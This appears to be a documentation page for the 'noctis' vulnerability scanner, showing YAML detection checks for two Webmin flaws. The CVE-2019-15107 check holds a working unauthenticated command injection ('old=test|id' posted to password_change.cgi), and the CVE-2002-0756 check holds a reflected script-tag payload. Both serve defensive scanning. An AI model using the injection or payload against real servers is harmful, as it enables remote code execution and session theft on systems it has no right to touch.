Webmin — 2 vulnerability checks

noctis ships 2 vulnerability checks for Webmin, covering 2 CVEs; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

Webmin password_change.cgi Unauthenticated RCE

CVECVE-2019-15107
Severitycritical · CVSS 9.8
Categoryrce — Remote code execution
Serviceshttp, https
Detectionhttp_request, match · highest QoD 97
Feedtests/vulnerabilities/webmin/CVE-2019-15107.yaml

Tests Webmin for the unauthenticated command injection in password_change.cgi. A pipe in the `old` password field is executed by the shell; the feed confirms RCE by running `id` and matching its output in the response body.

How noctis detects it

  1. HTTP(S) request POST /password_change.cgi with a crafted body
  2. Checks rce_resp.body for uid=\d+.*gid=\d+ → finding QoD 97: Unauthenticated RCE confirmed via password_change.cgi (`id` output): …

References:

Feed source — tests/vulnerabilities/webmin/CVE-2019-15107.yaml
# Webmin password_change.cgi Unauthenticated RCE — CVE-2019-15107
#
# Webmin 1.882–1.921 (with password-expiry enabled) passes the `old` parameter of
# /password_change.cgi to a shell unsanitised. An unauthenticated attacker injects a
# command with a pipe (`old=test|id`). No session is needed — the request carries the
# static pre-auth cookie Webmin's login form sets.
#
# Active check: POST /password_change.cgi, body `...expired=2&old=test|id...`, confirm
# RCE when the response is 200 and the body contains the `id` output (uid=.. gid=..). QoD 97.
uid: fb26f925-82d5-4fc9-970b-c537ffdc0dea
name: "Webmin password_change.cgi Unauthenticated RCE (CVE-2019-15107)"
description: |
  Tests Webmin for the unauthenticated command injection in password_change.cgi.
  A pipe in the `old` password field is executed by the shell; the feed confirms RCE
  by running `id` and matching its output in the response body.
cves: [CVE-2019-15107]
cvss: 9.8
severity: critical
category: rce
confidence_base: 0.20
tags: [webmin, rce, command-injection, unauthenticated, kev]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2019-15107"
  - "https://www.webmin.com/security.html"
  - "https://www.rapid7.com/db/modules/exploit/linux/http/webmin_backdoor/"

steps:
  # Unauthenticated RCE probe — inject `id` via the `old` field of the expired-password form.
  - id: rce-probe
    action: http_request
    method: POST
    path: "/password_change.cgi"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    headers:
      Referer: "{{scheme}}://{{target_host}}:{{port}}/session_login.cgi"
      Content-Type: "application/x-www-form-urlencoded"
      Cookie: "redirect=1; testing=1; sid=x; sessiontest=1"
    body: "user=noctis&pam=&expired=2&old=test|id&new1=noctis1&new2=noctis1"
    store_as: rce_resp

  - id: rce-match
    action: match
    source: rce_resp.body
    # exact `id` output signature
    pattern: "uid=\\d+.*gid=\\d+"
    condition: "rce_resp.status == 200"
    on_match:
      finding:
        confidence_delta: 0.75
        qod: 97
        evidence: "Unauthenticated RCE confirmed via password_change.cgi (`id` output): {{rce_resp.body}}"
      stop: true

Webmin / Usermin login page reflected cross-site scripting

CVECVE-2002-0756
Severityhigh · CVSS 7.5
Categoryxss — XSS
Serviceshttp, https
Detectionset_var, http_request, script, match · highest QoD 75
Feedtests/vulnerabilities/webmin/CVE-2002-0756.yaml

Webmin 0.96 and earlier and Usermin 0.90 and earlier print the user name submitted on the login form back into the page without encoding it, so an attacker can run script in the browser of a user who submits a crafted form and read the session cookie (cross-site scripting).

The check identifies the Webmin / Usermin login page, then submits a login attempt whose user name carries a quote and a harmless script tag with a random marker. The finding is reported when the tag comes back verbatim and the quote is not encoded. No valid account is used and nothing is written to the target.

How noctis detects it

  1. HTTP(S) request GET /session_login.cgi
  2. Parses / computes the next value with a Rhai script
  3. HTTP(S) request POST /session_login.cgi with a crafted body
  4. Parses / computes the next value with a Rhai script
  5. Checks res.hit for ^true$ → finding QoD 75: Webmin / Usermin login page reflected cross-site scripting (CVE-2002-0756)

References:

Feed source — tests/vulnerabilities/webmin/CVE-2002-0756.yaml
# Webmin <= 0.96 / Usermin <= 0.90 — login page reflected cross-site scripting (CVE-2002-0756)
#
# The failed-login page of session_login.cgi prints the submitted `user` value back
# inside the form's value='...' attribute without encoding it, so a quote followed by a
# script tag breaks out of the attribute. Newer builds encode the quote (&#39;).
#
# Detection:
#   0. GET /session_login.cgi — a MiniServ Server header or the "Login to Webmin/Usermin" title.
#   1. QoD 75 — POST /session_login.cgi with user='><script>MARK</script> (MARK random per
#      run) answers 200 and returns the tag unencoded, with the quote NOT turned into &#39;.
#   2. No finding when the quote or the angle brackets come back encoded.
#
# Read-only: one login attempt with a random inert marker, no valid account involved.
#
# Ported from an OpenVAS/Greenbone NVT (gb_webmin_login_xss_vuln.nasl, GPL-2.0-only). Differences:
# the NASL reflects a fixed alert(document.cookie) payload and only runs once Webmin was
# detected; here a random inert marker is used and the page is identified directly.
# CVSS: NVD carries only a CVSS v2 score (7.5) for CVE-2002-0756.
uid: 4cad63f9-f9fe-40d1-8207-d14032f7c916
name: "Webmin / Usermin login page reflected cross-site scripting (CVE-2002-0756)"
description: |
  Webmin 0.96 and earlier and Usermin 0.90 and earlier print the user name submitted
  on the login form back into the page without encoding it, so an attacker can run
  script in the browser of a user who submits a crafted form and read the session cookie
  (cross-site scripting).

  The check identifies the Webmin / Usermin login page, then submits a login attempt
  whose user name carries a quote and a harmless script tag with a random marker. The
  finding is reported when the tag comes back verbatim and the quote is not encoded.
  No valid account is used and nothing is written to the target.
cves: [CVE-2002-0756]
cvss: 7.5
severity: high
category: xss
confidence_base: 0.30
tags: [webmin, usermin, xss, reflected]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2002-0756"
  - "https://www.webmin.com/security.html"

steps:
  - id: init-login
    action: set_var
    var_name: login
    var_value: {status: 0, body: "", headers: {}}

  - id: init-probe
    action: set_var
    var_name: probe
    var_value: {status: 0, body: ""}

  - id: login-page
    action: http_request
    method: GET
    port: "{{port}}"
    path: "/session_login.cgi"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    store_as: login

  - id: gate
    action: script
    code: |
      let b = if type_of(login.body) == "string" { login.body } else { "" };
      let srv = if "server" in login.headers { login.headers["server"] } else { "" };
      #{ ok: login.status == 200 && (srv.contains("MiniServ") || ereg("Login to (Webmin|Usermin)", b)), mk: "NCT" + rand_hex(6) }
    store_as: g

  - id: reflect
    action: http_request
    method: POST
    port: "{{port}}"
    path: "/session_login.cgi"
    headers:
      Content-Type: "application/x-www-form-urlencoded"
      Cookie: "testing=1"
    body: "page=%2F&user=%27%3E%3Cscript%3E{{g.mk}}%3C%2Fscript%3E&pass="
    condition: "g.ok"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    store_as: probe

  - id: check
    action: script
    code: |
      let b = if type_of(probe.body) == "string" { probe.body } else { "" };
      let tag = "'><script>" + g.mk + "</script>";
      #{ hit: g.ok && probe.status == 200 && b.contains(tag) }
    store_as: res

  - id: report
    action: match
    source: res.hit
    pattern: "^true$"
    condition: "res.hit"
    on_match:
      finding:
        title: "Webmin / Usermin login page reflected cross-site scripting (CVE-2002-0756)"
        description: "The user name submitted to session_login.cgi was returned inside the login form with its quote and <script> tag unencoded, so an attacker can run script in the browser of a user who submits a crafted form and act with that user's session."
        remediation: "Upgrade Webmin past 0.96 / Usermin past 0.90 (current releases encode the value), and do not expose the login page to untrusted networks."
        confidence_delta: 0.45
        qod: 75
        evidence: "POST /session_login.cgi with user='><script>{{g.mk}}</script> came back with the tag unencoded"
      stop: true

View these feeds on GitHub